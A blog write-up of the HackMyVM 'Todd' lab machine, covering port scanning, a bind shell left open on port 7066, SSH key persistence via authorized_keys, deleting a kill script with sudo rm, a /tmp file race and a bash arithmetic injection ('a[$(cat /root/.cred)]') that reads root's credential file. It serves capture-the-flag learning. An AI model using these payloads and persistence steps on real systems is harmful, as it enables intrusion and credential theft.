🫡
TheBlog
  • Welcome
  • HackTheBox
    • HackTheBox : Active Directory
      • Cascade
      • Cicada
    • HackTheBox : Linux Boxes
      • LaCasaDePapel
      • Nibbles
      • Knife
      • Delivery
  • HackTheBox : Other Boxes
    • Sunday
  • HackMyVM
    • HackMyVM : Linux
      • Aurora
      • Thefinals
      • Todd
Powered by GitBook
On this page
  • HTTP
  • Back to the other ports
  • Bind shell on 7066
  • Stable shell
  • Beyond root
  • Honeypot
  • Command Injection & Substition

Was this helpful?

  1. HackMyVM
  2. HackMyVM : Linux

Todd

https://hackmyvm.eu/machines/machine.php?vm=Todd

Hello everyone, I Hope you are doing great.

First port scanning and we get SSH, HTTP, and a lot of unknown services.

nmap -p- 10.10.1.3 -sCV -oA toddnmap
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http       Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Mindful Listening
1161/tcp  open  tcpwrapped
7066/tcp  open  unknown
7185/tcp  open  tcpwrapped
9204/tcp  open  tcpwrapped
9486/tcp  open  tcpwrapped
20927/tcp open  tcpwrapped
21276/tcp open  tcpwrapped
23009/tcp open  tcpwrapped
23959/tcp open  tcpwrapped
28859/tcp open  tcpwrapped
29364/tcp open  tcpwrapped

HTTP

That's a good quote btw. Now we start searching what this site has.

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://10.10.1.3/FUZZ
tools                   [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 5ms]

There are tools ready to use on the machine. fscan: vulnerability scanner les.sh: Linux privilege escalation auditing tool linpeas.sh: Linux Privilege Escalation Awesome Script pspy64: Monitor linux processes without root permissions

Tried to see if there is any file inclusion vulnerability but the site invulnerable to this

Back to the other ports

Since nmap couldn't get anything about the other ports we could banner grap those ports and see what's going on there.

nc 10.10.1.3 1161
(UNKNOWN) [10.10.1.3] 1161 (?) : Connection refused

nc 10.10.1.3 7066
id
uid=1000(todd) gid=1000(todd) groups=1000(todd)

We have a bind shell on port 7066 but disconnects every 3 minutes so we need to see if there is any script that is doing this

Bind shell on 7066

cd /var/www/html/tools
./pspy64
2025/04/07 03:05:09 CMD: UID=1000  PID=6715   | ./pspy64 
2025/04/07 03:05:09 CMD: UID=1000  PID=6658   | nc -e /opt/fake_ssh -lp 8975 
2025/04/07 03:05:09 CMD: UID=0     PID=6657   | sudo -u todd nc -e /opt/fake_ssh -lp 8975 
2025/04/07 03:05:09 CMD: UID=0     PID=6656   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6655   | nc -e /opt/fake_ssh -lp 18806 
2025/04/07 03:05:09 CMD: UID=0     PID=6654   | sudo -u todd nc -e /opt/fake_ssh -lp 18806 
2025/04/07 03:05:09 CMD: UID=0     PID=6652   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6651   | nc -e /opt/fake_ssh -lp 11802 
2025/04/07 03:05:09 CMD: UID=0     PID=6650   | sudo -u todd nc -e /opt/fake_ssh -lp 11802 
2025/04/07 03:05:09 CMD: UID=0     PID=6648   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6646   | nc -e /opt/fake_ssh -lp 9353 
2025/04/07 03:05:09 CMD: UID=0     PID=6645   | sudo -u todd nc -e /opt/fake_ssh -lp 9353 
2025/04/07 03:05:09 CMD: UID=0     PID=6643   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6642   | nc -e /opt/fake_ssh -lp 24133 
2025/04/07 03:05:09 CMD: UID=0     PID=6641   | sudo -u todd nc -e /opt/fake_ssh -lp 24133 
2025/04/07 03:05:09 CMD: UID=0     PID=6639   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6638   | nc -e /opt/fake_ssh -lp 14670 
2025/04/07 03:05:09 CMD: UID=0     PID=6637   | sudo -u todd nc -e /opt/fake_ssh -lp 14670 
2025/04/07 03:05:09 CMD: UID=0     PID=6635   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6634   | nc -e /opt/fake_ssh -lp 20014 
2025/04/07 03:05:09 CMD: UID=0     PID=6633   | sudo -u todd nc -e /opt/fake_ssh -lp 20014 
2025/04/07 03:05:09 CMD: UID=0     PID=6631   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6630   | nc -e /opt/fake_ssh -lp 24163 
2025/04/07 03:05:09 CMD: UID=0     PID=6629   | sudo -u todd nc -e /opt/fake_ssh -lp 24163 
2025/04/07 03:05:09 CMD: UID=0     PID=6627   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6626   | nc -e /opt/fake_ssh -lp 29870 
2025/04/07 03:05:09 CMD: UID=0     PID=6624   | sudo -u todd nc -e /opt/fake_ssh -lp 29870 
2025/04/07 03:05:09 CMD: UID=0     PID=6622   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:05:09 CMD: UID=1000  PID=6621   | bash 
2025/04/07 03:05:09 CMD: UID=1000  PID=6620   | nc -e /opt/fake_ssh -lp 25051 
2025/04/07 03:05:09 CMD: UID=0     PID=6619   | sudo -u todd nc -e /bin/bash -lp 7066 
2025/04/07 03:05:09 CMD: UID=0     PID=6618   | sudo -u todd nc -e /opt/fake_ssh -lp 25051 
2025/04/07 03:05:09 CMD: UID=0     PID=6617   | /bin/bash /opt/create_nc2.sh 
2025/04/07 03:05:09 CMD: UID=0     PID=6615   | /bin/bash /opt/create_nc.sh 
...snip...
2025/04/07 03:06:01 CMD: UID=0     PID=6774   | /bin/sh -c /bin/bash /opt/kill_todd.sh 
2025/04/07 03:06:01 CMD: UID=0     PID=6775   | /bin/sh -c /bin/bash /opt/create_nc2.sh 
2025/04/07 03:06:01 CMD: UID=0     PID=6776   | /bin/sh -c /bin/bash /opt/create_nc.sh 
2025/04/07 03:06:01 CMD: UID=0     PID=6777   | /bin/bash /opt/kill_todd.sh 
2025/04/07 03:06:01 CMD: UID=0     PID=6778   | /bin/bash /opt/create_nc2.sh 
2025/04/07 03:06:01 CMD: UID=0     PID=6779   | /bin/bash /opt/create_nc.sh 
2025/04/07 03:06:01 CMD: UID=0     PID=6780   | /bin/bash /opt/create_nc2.sh 

The idea of this box is whenever you port scan the machine it will give you different ports every time except 22,80 and 7066. So seems like we found the bind shell by luck but that's a good thing to add to our notes. Consider Beyond root if you want to illustrate the idea of the machine.

Stable shell

Now we need to get a stable shell. So the best thing is to do it by adding our public key to the authorized_keys on the machine. First, we create SSH key pairs and then copy id_rsa.pub to authorized_keys on Todd's SSH directory

-> our machine 
ssh-keygen -t rsa
# I just pressed enter for every step and not a secure practice.
Generating public/private rsa key pair.
Enter file in which to save the key (/home/legend/.ssh/id_rsa): 
Enter passphrase for "/home/legend/.ssh/id_rsa" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/legend/.ssh/id_rsa
Your public key has been saved in /home/legend/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:P2YLcVb9b0GLffz9d9id2uPwRFiiAW/j3XW7RWwn4sQ legend@legend
The key's randomart image is:
+---[RSA 3072]----+
|         .       |
|          o. . . |
|           =E.ooB|
|          o+=.O**|
|        S oo.+ B=|
|         =    . O|
|        . =  . =B|
|         + o  *+*|
|          .  .o+=|
+----[SHA256]-----+
cat .ssh/id_rsa.pub
mkdir .ssh; cd .ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0LUKP3/jLzAdKuvDGArzSQpsigU5bZfpdTLMXFMzUv46TOUlmQlFPEye/QGdIqRHFT17l6A3l+RNb+emXwvZV+VTEWw0aCSuzhv0rfTuiFJBUxZueVaz6UTCw4shKQ+BteGopRtVe6fF9cgtL1bK4/LJ9etOSBB+BfKeDBHgSpcqwAtRNSfGUxK//14lX+/yV5DGnn7srBS6BA65Fwoqttr2G+N2yGtF+sBPM/e1cvL4NYP3dZiB/cS5y3EHUVZfiRsEyU3Js9IeheWC+/KmwGId4xxuoGg0YmhVmkNe59w8vhArvUbRITb++QxLFgttCq7pKiXlEeKpjKbPcYTtv/D5Gig1FkKgKSIT3HUqN0PI9HNSZ48F9iHqsxXXKJ6DWhTdYpt7cX9RCva7wQwh14PToxVe27kKvBOLJzxf45khVYz3af2FD3IztWqd+aFrDmFZLCISpVxOrvqsyJAK/QEgJhw8EKg+Isj+F/UwwMxA2Sp8wovTr7NMe2dIETkk= legend@legend' > authorized_keys
ssh todd@10.10.1.3
bash
todd@todd:~$ 
todd@todd:~$ ls -la
total 32
drwxr-xr-x 3 todd todd 4096 Apr  7 03:23 .
drwxr-xr-x 3 root root 4096 Mar 22 06:53 ..
lrwxrwxrwx 1 root root    9 Mar 22 08:03 .bash_history -> /dev/null
-rw-r--r-- 1 todd todd  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 todd todd 3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 todd todd  263 Apr  7 02:19 index.html
-rw-r--r-- 1 todd todd  807 Apr 18  2019 .profile
drwxr-xr-x 2 todd todd 4096 Apr  7 03:24 .ssh
-rw-r--r-- 1 todd todd   39 Mar 22 06:54 user.txt

todd@todd:~$ sudo -l
Matching Defaults entries for todd on todd:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User todd may run the following commands on todd:
    (ALL : ALL) NOPASSWD: /bin/bash /srv/guess_and_check.sh
    (ALL : ALL) NOPASSWD: /usr/bin/rm
    (ALL : ALL) NOPASSWD: /usr/sbin/reboot
    
todd@todd:~$ Connection to 10.10.1.3 closed by remote host.
Connection to 10.10.1.3 closed.

and we still get disconnected from the machine and this could be because of kill_todd.sh. We can use sudo rm to delete kill_todd.sh

todd@todd:/opt$ ls -la
total 40
drwxr-xr-x  2 root root  4096 Mar 22 10:40 .
drwxr-xr-x 18 root root  4096 Nov 13  2020 ..
-rwx------  1 root root   138 Mar 22 08:00 create_nc2.sh
-rwx---r--  1 root root   141 Mar 22 07:42 create_nc.sh
-rwx------  1 root root 16608 Mar 22 07:21 fake_ssh
-rwx------  1 root root    17 Mar 22 07:07 kill_todd.sh

todd@todd:/opt$ sudo /usr/bin/rm kill_todd.sh 

and now we have a stable shell and the user flag.

todd@todd:~$ cat user.txt 
Todd{*REDACTED*}
#!/bin/bash
# check this script used by human
 
a=$((RANDOM%1000))
echo "Please Input [$a]"

echo "[+] Check this script used by human."
echo "[+] Please Input Correct Number:"
read -p ">>>" input_number

[[ $input_number -ne "$a" ]] && exit 1

sleep 0.2
true_file="/tmp/$((RANDOM%1000))"
sleep 1
false_file="/tmp/$((RANDOM%1000))"

[[ -f "$true_file" ]] && [[ ! -f "$false_file" ]] && cat /root/.cred || exit 2

This script checks if the user is a human by typing the random number the script will show. If you are wrong the script will stop But what if you are right? the script has 2 new variables true_file and fasle_file. Both are random number files in the /tmp directory. the script checks if true_file exists and false_file doesn't exist it will give us the root credentials.

From here we need to create files from 1 to 250 and pray that the script will make the false_file above this.

for i in {1..250}; do
    touch "$i"
done

make sure you run the script with sudo :(

todd@todd:/tmp$ /bin/bash /srv/guess_and_check.sh 
Please Input [718]
[+] Check this script used by human.
[+] Please Input Correct Number:
>>>718
cat: /root/.cred: Permission denied
todd@todd:/tmp$ sudo /bin/bash /srv/guess_and_check.sh 
Please Input [11]
[+] Check this script used by human.
[+] Please Input Correct Number:
>>>11
*REDACTED*

and we have the root's password

todd@todd:/tmp$ su
Password: 
root@todd:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@todd:/tmp# cd /root
root@todd:~# cat root.txt 
Todd{*REDACTED*}

Beyond root

Hahahaha like 0xdf yes.

Honeypot

This machine creates and kills fake SSH ports every 2 minutes. We could have noticed this if we scanned the ports a couple of times.

kill_todd.sh
pkill -9 -u todd

fake_ssh: creates a fake SSH connection that when you connect to it either refuses the connection or prints out uname -a

create_nc.sh
#!/bin/bash

create_ssh(){
    sudo -u todd nc -e /opt/fake_ssh -lp $1
}

for i in $(seq 10)
do
    a=$((RANDOM))
    sleep 0.2
    create_ssh $a &
done
create_nc2.sh
#!/bin/bash

create_ssh(){
    sudo -u todd nc -e /bin/bash -lp $1
}

for i in $(seq 1)
do
    a=$((RANDOM))
    sleep 0.2
    create_ssh 7066 &
done

Command Injection & Substition

#!/bin/bash
 
a=$((RANDOM%1000))
echo "Please Input [$a]"

echo "[+] Check this script used by human."
echo "[+] Please Input Correct Number:"
read -p ">>>" input_number

[[ $input_number -ne "$a" ]] && exit 1

can we change the variable "a" to what we want?

>>>a[$(id)]
/srv/guess_and_check.sh: line 35: uid=0(root) gid=0(root) groups=0(root): syntax error in expression (error token is "(root) gid=0(root) groups=0(root)")

so we can read /root/.cred

>>>a[$(cat /root/.cred)]
/srv/guess_and_check.sh: line 35: *REDACTED*: syntax error in expression (error token is "*REDACTED*")

Last updated 1 month ago

Was this helpful?

We will use . and lucky us, this machine has it ready for us

Using pkill will terminate all processes for todd. -9: Signal 9 is also known as SIGKILL and cannot be 'caught' by the underlying process, as such it forces the process to exit. This is generally considered rude but may be necessary. ()

pspy64
ref
Page cover image
http://10.10.1.3/
http://10.10.1.3/tools/
https://hackmyvm.eu/achievement/?achievement=30511